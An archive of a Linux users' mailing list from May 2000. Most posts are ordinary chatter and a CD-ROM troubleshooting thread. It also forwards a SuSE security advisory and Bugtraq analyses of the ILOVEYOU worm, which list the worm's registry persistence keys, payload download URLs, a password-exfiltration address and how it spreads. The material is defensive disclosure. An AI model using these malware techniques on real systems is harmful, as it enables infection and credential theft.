From linux-india-general-owner@lists.linux-india.org Mon May 1 01:44:11 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id BA9D63807F for ; Mon, 1 May 2000 01:44:00 -0700 (PDT) Received: from hydmail1.hyd.office.juno.com (hydmail1.hyd.office.juno.com [208.238.62.45]) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) with ESMTP id OAAAA22400 for ; Mon, 1 May 2000 14:13:57 +0530 (IST) Received: by hydmail1.hyd.office.juno.com with Internet Mail Service (5.5.2650.21) id ; Mon, 1 May 2000 14:13:57 +0530 Message-ID: <140318358CECD3118AE700104B8837D74DF0E6@hydmail1.hyd.office.juno.com> From: "Ramasubramanian, Suresh" To: "'LIG'" Subject: RE: [OT]RE: [LIH] where can i purchaser linux cds Date: Mon, 1 May 2000 14:13:54 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Archive-Number: 200005/1 [moving to LIG] Whatever it is - there's a limit to even COMMERCIAL: posts. This sort of thing is an abuse of the "COMMERCIAL" privilege. Suresh Ramasubramanian sureshr@staff.juno.com > -----Original Message----- > From: Devdas Bhagat [SMTP:dodobh@nettaxi.com] > Sent: Monday, May 01, 2000 1:38 PM > To: linux-india-help@lists.linux-india.org > Subject: [OT]RE: [LIH] where can i purchaser linux cds > > On Mon, 01 May 2000, Ramasubramanian, Suresh wrote: > >I have a feeling this guy is selling some other *nix rather than Linux > >(Solaris, say). Or else he is trying to pull the wool over people's eyes > >... > > > >Either way, his post is rather off topic to LI, IMHO :) > Very OT, and he might be including the cost of training a few hundred > people on > Linux as well in that price, plus support for three or five years for the > organization. > (Or he is speaking about a beowulf?) > On Mon, 1 May 2000, MiteshV@vsnl.com wrote: > FMI : What distro are u looking for ? Moreover, a stand-alone version costs > as low as Rs.2500/- (this is an avg. rate) while Server vesion costs approx. > Rs.35,000/- and Enterprise Version costs around Rs. 1.25 lakhs. I will check > out the exact rates once I am informed about the distribution & the version > from your side. Of course, needless to say, S & H would cost as per actuals. > HTH, > > Good Luc, > MiteshV > > PS: If I am not around in the office, Mr. Nilesh would be the next right > person to contact. From linux-india-general-owner@lists.linux-india.org Mon May 1 01:53:30 2000 Received: from bom8.vsnl.net.in (bom8.vsnl.net.in [202.54.4.125]) by www.aunet.org (Postfix) with ESMTP id 390853809B for ; Mon, 1 May 2000 01:53:20 -0700 (PDT) Received: from fangorn.net ([202.54.92.73]) by bom8.vsnl.net.in (8.9.2/8.9.2) with SMTP id OAA02222 for ; Mon, 1 May 2000 14:19:52 +0500 (GMT+0500) From: Devdas Bhagat To: linux-india-general@lists.linux-india.org Subject: Re: MS bug... funny Date: Mon, 1 May 2000 14:21:25 +0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain In-Reply-To: <14602.48890.397794.511254@malhaar.internal.palcom.net> MIME-Version: 1.0 Message-Id: <00050114225804.01080@fangorn.net> Content-Transfer-Encoding: 8bit X-Archive-Number: 200005/2 On Sat, 29 Apr 2000, Raju Mathur wrote: >Explorapedia Nature: Earth Rotates in Wrong Direction If you haven't read the MS response yet, do so. And of course, go look up the /. discussion on this Devdas Bhagat -- There is an old custom among my people. When a woman saves a man's life, he is grateful. -- Nona, the Kanuto witch woman, "A Private Little War", stardate 4211.8. From linux-india-general-owner@lists.linux-india.org Mon May 1 08:56:29 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id E6B9938053 for ; Mon, 1 May 2000 08:56:22 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA12783; Mon, 1 May 2000 08:55:50 -0700 Date: Mon, 1 May 2000 08:55:50 -0700 From: Arun Sharma To: "Ramasubramanian, Suresh" Cc: "'LIG'" Subject: Re: RE: [OT]RE: [LIH] where can i purchaser linux cds Message-ID: <20000501085550.A12766@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <140318358CECD3118AE700104B8837D74DF0E6@hydmail1.hyd.office.juno.com>; from Ramasubramanian, Suresh on Mon, May 01, 2000 at 02:13:54PM +0530 X-Archive-Number: 200005/3 On Mon, May 01, 2000 at 02:13:54PM +0530, Ramasubramanian, Suresh wrote: > [moving to LIG] > > Whatever it is - there's a limit to even COMMERCIAL: posts. This sort of > thing is an abuse of the "COMMERCIAL" privilege. Hey, I was just joking. The problem really is not with Mitesh - it's the people who are ignorant enough to buy from him. Again, the problem is quantitative, not qualitative. RMS would be perfectly happy if Mitesh disclosed the source to his 1.25 lakh distribution :) -Arun From linux-india-general-owner@lists.linux-india.org Mon May 1 20:47:45 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 7A335381B5 for ; Mon, 1 May 2000 20:47:39 -0700 (PDT) Received: from hydmail1.hyd.office.juno.com (hydmail1.hyd.office.juno.com [208.238.62.45]) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) with ESMTP id JAAAA29390; Tue, 2 May 2000 09:17:15 +0530 (IST) Received: by hydmail1.hyd.office.juno.com with Internet Mail Service (5.5.2650.21) id ; Tue, 2 May 2000 09:17:14 +0530 Message-ID: <140318358CECD3118AE700104B8837D74DF0F8@hydmail1.hyd.office.juno.com> From: "Ramasubramanian, Suresh" To: "'Arun Sharma'" Cc: "'LIG'" Subject: RE: RE: [OT]RE: [LIH] where can i purchaser linux cds Date: Tue, 2 May 2000 09:17:06 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Archive-Number: 200005/4 I ~really~ don't know - but there are lots of newbies on the list who may be tempted to buy from the guy without knowing that linux costs less than a fraction of what he says - server / enterprise editions or whatever. Suresh Ramasubramanian sureshr@staff.juno.com > -----Original Message----- > From: Arun Sharma [SMTP:adsharma@sharmas.dhs.org] > Sent: Monday, May 01, 2000 9:26 PM > To: Ramasubramanian, Suresh > Cc: 'LIG' > Subject: Re: [LIG] RE: [OT]RE: [LIH] where can i purchaser linux cds > > On Mon, May 01, 2000 at 02:13:54PM +0530, Ramasubramanian, Suresh wrote: > > [moving to LIG] > > > > Whatever it is - there's a limit to even COMMERCIAL: posts. This sort > of > > thing is an abuse of the "COMMERCIAL" privilege. > > Hey, I was just joking. The problem really is not with Mitesh - it's the > people who are ignorant enough to buy from him. > > Again, the problem is quantitative, not qualitative. RMS would be > perfectly > happy if Mitesh disclosed the source to his 1.25 lakh distribution :) > From linux-india-general-owner@lists.linux-india.org Tue May 2 05:20:48 2000 Received: from vikram.svrec.ernet.in (unknown [202.141.85.15]) by www.aunet.org (Postfix) with ESMTP id 07B7F3822E for ; Tue, 2 May 2000 05:18:56 -0700 (PDT) Received: from localhost (96co242@localhost) by vikram.svrec.ernet.in (8.8.7/8.8.7) with ESMTP id PAA09943 for ; Tue, 2 May 2000 15:18:02 +0530 Date: Tue, 2 May 2000 15:18:01 +0530 (IST) From: "Vishwas." <96co242@svrec.ernet.in> To: linux-india-general@lists.linux-india.org Subject: cdrom mount problem ! In-Reply-To: <140318358CECD3118AE700104B8837D74DF0F8@hydmail1.hyd.office.juno.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/5 Friends, Sometimes(not always) when I mount my cdroms I get following messages........ [root@konark /root]# mount /dev/hdb /mnt/cdrom ATAPI device hdb: Error: Unit attention -- (Sense key=0x06) Not ready to ready transition, medium may have changed -- (asc=0x28, ascq=0x00) The failed "Test Unit Ready" packet command was: "00 00 00 00 00 00 00 00 00 00 00 00 " mount: block device /dev/hdb is write-protected, mounting read-only [root@konark /root]# and sometimes I gets mounted swiftly but when I do "ls" or "ls -l" I get ??????.??? RedHat?? and junk similar to this. My m/c configuration is Pentium I on RedHat 6.0 with a compiled kernel. Can anybody comment in this regard ? From linux-india-general-owner@lists.linux-india.org Tue May 2 05:55:11 2000 Received: from web217.mail.yahoo.com (web217.mail.yahoo.com [128.11.68.117]) by www.aunet.org (Postfix) with SMTP id B33C03824E for ; Tue, 2 May 2000 05:54:56 -0700 (PDT) Received: (qmail 1649 invoked by uid 60001); 2 May 2000 12:54:56 -0000 Message-ID: <20000502125456.1648.qmail@web217.mail.yahoo.com> Received: from [202.54.89.130] by web217.mail.yahoo.com; Tue, 02 May 2000 05:54:56 PDT Date: Tue, 2 May 2000 05:54:56 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: cdrom mount problem ! To: "Vishwas." <96co242@svrec.ernet.in>, linux-india-general@lists.linux-india.org, linux-india-help@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/6 ***Moving To LIH*** Hi, This is more suitable for LIH (linux-india-help@lists.linux-india.org) as techinal queries are resolved on that list. So I am shifting it there. Follow-ups there please. I have come across this problem in two cases: 1. Old/Dirty CD-ROM drive. 2. Iffy CDs like Chinese Pirate CDs (Yes... I know I'm going to hell because I used pirate software, no need to rub it in), Gold CDs written on CD-writers that are known to give unpredictable results. I'd vote for 1 because if I am not mistaken "Konark" has been in NCST for donkey's years. Can anybody throw some light on what's actually happening? Is my cause/effect assumption correct? Kedar? Nikhil? Rohit(If you've sobered up yet)? Biju --- "Vishwas." <96co242@svrec.ernet.in> wrote: > Friends, > Sometimes(not always) when I mount my cdroms I get following > messages........ > > [root@konark /root]# mount /dev/hdb /mnt/cdrom > ATAPI device hdb: > Error: Unit attention -- (Sense key=0x06) > Not ready to ready transition, medium may have changed -- > (asc=0x28, > ascq=0x00) > The failed "Test Unit Ready" packet command was: > "00 00 00 00 00 00 00 00 00 00 00 00 " > mount: block device /dev/hdb is write-protected, mounting read-only > [root@konark /root]# > > and sometimes I gets mounted swiftly but when I do "ls" or "ls -l" I > get > > ??????.??? RedHat?? > and junk similar to this. > > My m/c configuration is > Pentium I on RedHat 6.0 with a compiled kernel. > > > Can anybody comment in this regard ? > > ===== Biju "Botsie" Chacko "With men and sex when it's right, it's right and when it's wrong, it's right." - Fishism __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Wed May 3 22:26:59 2000 Received: from internal.palcom.net (unknown [203.197.220.133]) by www.aunet.org (Postfix) with ESMTP id CD0E0380D1; Wed, 3 May 2000 22:26:44 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id KAA09904; Thu, 4 May 2000 10:56:36 +0530 From: Raju Mathur Message-ID: <14609.2572.411669.659969@malhaar.internal.palcom.net> Date: Thu, 4 May 2000 10:56:36 +0530 (IST) To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: SuSE Security Announcement - aaa_base - UPDATE X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: message/rfc822 X-Archive-Number: 200005/7 Return-Path: X-POP3-Rcpt: raju@biznetindia.com Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Message-ID: <20000502195913.B13DF67A5@Galois.suse.de> Reply-To: Marc Heuse From: Marc Heuse Sender: Bugtraq List To: BUGTRAQ@SECURITYFOCUS.COM Subject: SuSE Security Announcement - aaa_base - UPDATE Date: Tue, 2 May 2000 21:59:13 +0200 -----BEGIN PGP SIGNED MESSAGE----- UPDATE INFORMATION The original announcement pointed to update rpms which were old and did *NOT* fix the vulnerabilities. We apologize for this mistake. ______________________________________________________________________________ SuSE Security Announcement Package: aaabase < 2000.5.2 Date: Tue May 2 21:56:21 CEST 2000 Affected SuSE versions: all Vulnerability Type: remove any local file(s) executing attacker supplied commands as non-root SuSE default package: yes Other affected systems: unknown ______________________________________________________________________________ A security hole was discovered in the package mentioned above. Please update as soon as possible or disable the service if you are using this software on your SuSE Linux installation(s). Other Linux distributions or operating systems might be affected as well, please contact your vendor for information about this issue. Please note that we provide this information on an "as-is" basis only. There is no warranty whatsoever and no liability for any direct, indirect or incidental damage arising from this information or the installation of the update package. _____________________________________________________________________________ 1. Problem Description aaa_base is the basic package which comes with any SuSE Linux installation. Two vulnerabilities have been found: 1) The cron job /etc/cron.daily/aaa_base does a daily checking of files in /tmp and /var/tmp, where old files will be deleted if configured to do so. Please note this this feature is NOT activated by default 2) Some system accounts have their homedirectories set to /tmp by default. These are the users games, firewall, wwwrun and nobody on a SuSE 6.4. 2. Impact 1) If the /tmp cleanup is activated, any file or directory can be deleted by any local user 2) If an attacker creates dot files in /tmp (e.g. bash profiles), these might be executed if someone uses e.g. "su - nobody" to switch to the nobody user. This can lead to a compromise of that userid. This vulnerability is present in several other unix systems as well - please check all! 3. Solution 1) Update the package from our FTP server. 2) The root user will receive a email with the accounts listed which have a homedirectory in /tmp. You have to fix this by hand, because some installations might break if they rely on information saved in the (unsafe) /tmp homedirectory. The email will give more information what to do. ______________________________________________________________________________ Please verify these md5 checksums of the updates before installing: (for SuSE 6.0 please use the 6.1 update rpm) a8204a4929c139e895f3357021647daa ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/aaa_base-2000.5.2-0.alpha.rpm 5dee42bd0f531922d0b17d859f3d0d0d ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/aaa_base-2000.5.2-0.alpha.rpm da8c74f80983beecf23baa62eea45142 ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/aaa_base-2000.5.2-0.i386.rpm 9618ec3ae63f4d80527a8e3b5f610fc1 ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/aaa_base-2000.5.2-0.i386.rpm db53e002b6be652b31262bf89be0c31a ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/aaa_base-2000.5.2-0.i386.rpm 488eda289876ba3c14dbffb881dc8726 ftp://ftp.suse.com/pub/suse/ppc/update/6.3/a1/aaa_base-2000.5.2-0.ppc.rpm ______________________________________________________________________________ You can find updates on our ftp-Server: ftp://ftp.suse.com/pub/suse/i386/update for Intel processors ftp://ftp.suse.com/pub/suse/axp/update for Alpha processors or try the following web pages for a list of mirrors: http://www.suse.de/ftp.html http://www.suse.com/ftp_new.html Our webpage for patches: http://www.suse.de/patches/index.html Our webpage for security announcements: http://www.suse.de/security If you want to report vulnerabilities, please contact security@suse.de ______________________________________________________________________________ SuSE has got two free security mailing list services to which any interested party may subscribe: suse-security@suse.com - moderated and for general/linux/SuSE security discussions. All SuSE security announcements are sent to this list. suse-security-announce@suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: _____________________________________________________________________________ This information is provided freely to everyone interested and may be redistributed provided that it is not altered in any way. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team - -------BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -------END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOQ8zFney5gA9JdPZAQETWQgAj1oj1msj0y9+Cl1ej/g1mHMqq61rqaIM 8S1Gjj0k4QFw6QJTWsm1nQYavdGQMnkFA1Fo3XZe88IddIvcwuVM7gKBcJYKzNnn 62sYiSGAZyr3+pkmN/dpUiYZBQ9jVYus27gwX52hEjxMpYhX29GGKaW0jhr0x9L+ QzN/CeSkbM/Jz9MccDgKYNJyEqZNADG3SIvDFNJNUGmJvxmC18mIGdpwPfxGhaed tDxYLfSWldWiQRtIQBi2H05vaCoiMWhpF8ltHQ0v05JW4TpDy4Z1ar4vBtU1koLU L8+8rrlGvpzZlSGer0FyDG/LwsuE1qKFEBcBS+t8xJ0rB5QXuvb+EA== =6lvV -----END PGP SIGNATURE----- From linux-india-general-owner@lists.linux-india.org Thu May 4 22:38:02 2000 Received: from internal.palcom.net (unknown [203.197.220.133]) by www.aunet.org (Postfix) with ESMTP id 0C5C1381B0; Thu, 4 May 2000 22:37:55 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id LAA16577; Fri, 5 May 2000 11:07:52 +0530 From: Raju Mathur Message-ID: <14610.24111.857220.816468@malhaar.internal.palcom.net> Date: Fri, 5 May 2000 11:07:51 +0530 (IST) To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: ILOVEYOU worm X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: multipart/mixed; boundary="Multipart_Fri_May__5_11:07:51_2000-1" Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/8 --Multipart_Fri_May__5_11:07:51_2000-1 Content-Type: text/plain; charset=US-ASCII Just FYI -- Raju --Multipart_Fri_May__5_11:07:51_2000-1 Content-Type: message/rfc822 Return-Path: X-POP3-Rcpt: raju@biznetindia.com Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Message-ID: <20000504095618.N24513@securityfocus.com> Reply-To: aleph1@SECURITYFOCUS.COM X-To: bugtraq@securityfocus.com X-cc: vuln-dev@securityfocus.com From: Elias Levy Sender: Bugtraq List To: BUGTRAQ@SECURITYFOCUS.COM Subject: ILOVEYOU worm Date: Thu, 4 May 2000 09:56:18 -0700 A new VB worm is on the loose. This would normally not be bugtraq material as it exploits no new flaws but it has spread enough that it warrants some coverage. This is a quick and dirty analysis of what it does. The worm spreads via email as an attachments and via IRC as a DCC download. The first thing the worm does when executed is save itself to three different locations. Under the system directory as MSKernel32.vbs and LOVE-LETTER-FOR-YOU.TXT.vbs and under the windows directory as Win32DLL.vbs. It then creates a number of registry entries to execute these programs when the machine restarts. These entries are: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL It will also modify Internet Explorer's start page to point to a web page that downloads a binary called WIN-BUGSFIX.exe. It randomly selects between four different URLs: http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe I've not been able to obtain copy of the binary to figure out what it does. This does mean the worm has a dynamic components that may change its behavior any time the binary is changed and a new one downloaded. The worm then changes a number of registry keys to run the downloaded binary and to clean up after itself. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page about:blank The worm then creates an HTML file that helps it spread, LOVE-LETTER-FOR-YOU.HTM. This is the file DCC'ed to others on IRC. The worm then spreads to all addresses in the Windows Address Book by sending the file LOVE-LETTER-FOR-YOU.TXT.vbs as an attachment. The email starts: kindly check the attached LOVELETTER coming from me. Then the virus searches for attached drives looking for files with certain extensions. It overwrites files ending with vbs, and vbe. It overwrites files ending with js, jse, css, wsh, sct, and hta, and then renames them to end with vbs. It overwrites files ending with jpg and jpeg and appends .vbs to their name. It finds files with the name mp3 and mp3, creates vbs files with the same name and sets the hidden attribute in the original mp* files. The it looks for the mIRC windows IRC client and overwrites the script.ini file if found. It modifies this file to that it will DCC the LOVE-LETTER-FOR-YOU.HTM file to any people that join a channel the client is in. You can find the source of the worm at: http://www.securityfocus.com/templates/archive.pike?list=82&msg=3911840F.D7597030@thievco.com&part=.1 -- Elias Levy SecurityFocus.com http://www.securityfocus.com/ Si vis pacem, para bellum --Multipart_Fri_May__5_11:07:51_2000-1-- From linux-india-general-owner@lists.linux-india.org Thu May 4 22:38:32 2000 Received: from internal.palcom.net (unknown [203.197.220.133]) by www.aunet.org (Postfix) with ESMTP id 0D515381DE; Thu, 4 May 2000 22:38:25 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id LAA16590; Fri, 5 May 2000 11:08:22 +0530 From: Raju Mathur Message-ID: <14610.24142.96480.684700@malhaar.internal.palcom.net> Date: Fri, 5 May 2000 11:08:22 +0530 (IST) To: linux-india-help@lists.linux-india.org, linux-india-general@lists.linux-india.org Subject: Re: IL0VEY0U worm X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: message/rfc822 X-Archive-Number: 200005/9 Return-Path: X-POP3-Rcpt: raju@biznetindia.com Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: BUGTRAQ@SECURITYFOCUS.COM References: <20000504095618.N24513@securityfocus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Message-ID: <20000504110932.N15104@securityfocus.com> Reply-To: Elias Levy X-To: BUGTRAQ@SECURITYFOCUS.COM, incidents@securityfocus.com, vuln-dev@securityfocus.com In-Reply-To: <20000504095618.N24513@securityfocus.com>; from aleph1@SECURITYFOCUS.COM on Thu, May 04, 2000 at 09:56:18AM -0700 From: Elias Levy Sender: Bugtraq List To: BUGTRAQ@SECURITYFOCUS.COM Subject: Re: IL0VEY0U worm Date: Thu, 4 May 2000 11:09:32 -0700 A quick update with some more information and quick fixes. I am reproducing my original message in full bellow as some people are filtering messages with a subject line of ILOVEYOU. There is a good description of how to disinfect a system manually at http://www.thepope.org/index.pl?node_id=140 skyinet.net seems to be off the net. It seems they are being blackholed by someone. The worm has a comment that may or may not indicate the author: rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines I did not make it clear, but the worm does infect files in mapped network drives, so it can spread across the network via file shares by infecting the files I reported. When someone opens those files the worm will execute and infect their system. It seems the WIN-BUGFIX.exe file will email any cached passwords to MAILME@SUPER.NET.PH. To stop the spread download updates for your antivirus product for your vendor. They all have some type of fix by now, but most antivirus vendor websites seems to be unavailable under the high load. Some I could reach: NAI: http://download.mcafee.com/extrafiles/love-4.zip Datafellows: http://www.datafellows.com/download-purchase/updates.html TrendMicro: http://www.antivirus.com/download/pattern.asp Sophos: http://www.sophos.com/downloads/ide/index.html#loveleta You should also not open visual basic attachments in email (.VBS), not accept DCC's on IRC from strangers (or friends for that matter) unless you known what you are receiving. If you control your mail server you should try to configure it to stop messages with attachments ending in .vbs. There seems to be some patches to sendmail from when Melissa came out that does this. You may also want to filter all email going out to MAILME@SUPER.NET.PH and stop the download of WIN-BUGFIX.exe in your HTTP proxy. * Elias Levy (aleph1@SECURITYFOCUS.COM) [000504 17:02]: > A new VB worm is on the loose. This would normally not be bugtraq > material as it exploits no new flaws but it has spread enough that it > warrants some coverage. This is a quick and dirty analysis of what it does. > > The worm spreads via email as an attachments and via IRC as a DCC download. > > The first thing the worm does when executed is save itself to three > different locations. Under the system directory as MSKernel32.vbs and > LOVE-LETTER-FOR-YOU.TXT.vbs and under the windows directory as > Win32DLL.vbs. > > It then creates a number of registry entries to execute these programs > when the machine restarts. These entries are: > > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL > > It will also modify Internet Explorer's start page to point to a web page > that downloads a binary called WIN-BUGSFIX.exe. It randomly selects between > four different URLs: > > http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe > http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe > http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe > http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe > > I've not been able to obtain copy of the binary to figure out what it does. > This does mean the worm has a dynamic components that may change its > behavior any time the binary is changed and a new one downloaded. > > The worm then changes a number of registry keys to run the downloaded binary > and to clean up after itself. > > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX > HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page > about:blank > > The worm then creates an HTML file that helps it spread, > LOVE-LETTER-FOR-YOU.HTM. This is the file DCC'ed to others on IRC. > > The worm then spreads to all addresses in the Windows Address Book by > sending the file LOVE-LETTER-FOR-YOU.TXT.vbs as an attachment. The > email starts: > > kindly check the attached LOVELETTER coming from me. > > Then the virus searches for attached drives looking for files with > certain extensions. It overwrites files ending with vbs, and vbe. > It overwrites files ending with js, jse, css, wsh, sct, and hta, and > then renames them to end with vbs. It overwrites files ending with jpg > and jpeg and appends .vbs to their name. It finds files with the name > mp3 and mp3, creates vbs files with the same name and sets the hidden > attribute in the original mp* files. > > The it looks for the mIRC windows IRC client and overwrites the script.ini > file if found. It modifies this file to that it will DCC the > LOVE-LETTER-FOR-YOU.HTM file to any people that join a channel the > client is in. > > You can find the source of the worm at: > > http://www.securityfocus.com/templates/archive.pike?list=82&msg=3911840F.D7597030@thievco.com&part=.1 > > -- > Elias Levy > SecurityFocus.com > http://www.securityfocus.com/ > Si vis pacem, para bellum -- Elias Levy SecurityFocus.com http://www.securityfocus.com/ Si vis pacem, para bellum From linux-india-general-owner@lists.linux-india.org Fri May 5 04:30:16 2000 Received: from MailAndNews.com (MailAndNews.com [199.29.68.160]) by www.aunet.org (Postfix) with ESMTP id 47FFF3804F for ; Fri, 5 May 2000 04:30:09 -0700 (PDT) Received: from croton [12.10.209.139] (sthitaprajna@mailandnews.com); Fri, 5 May 2000 07:30:04 -0400 X-WM-Posted-At: MailAndNews.com; Fri, 5 May 00 07:30:04 -0400 From: "Sthitaprajna" Organization: Nell To: linux-india-general@lists.linux-india.org Date: Fri, 5 May 2000 16:59:58 +0530 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: IL0VEY0U worm [CERT Advisory CA-2000-04] Reply-To: sthitaprajna@mailandnews.com X-mailer: Pegasus Mail for Win32 (v3.12) Message-Id: <20000505113009.47FFF3804F@www.aunet.org> X-Archive-Number: 200005/10 III. Solution Update Your Anti-Virus Product It is important for users to update their anti-virus software. Some anti-virus software vendors have released updated information, 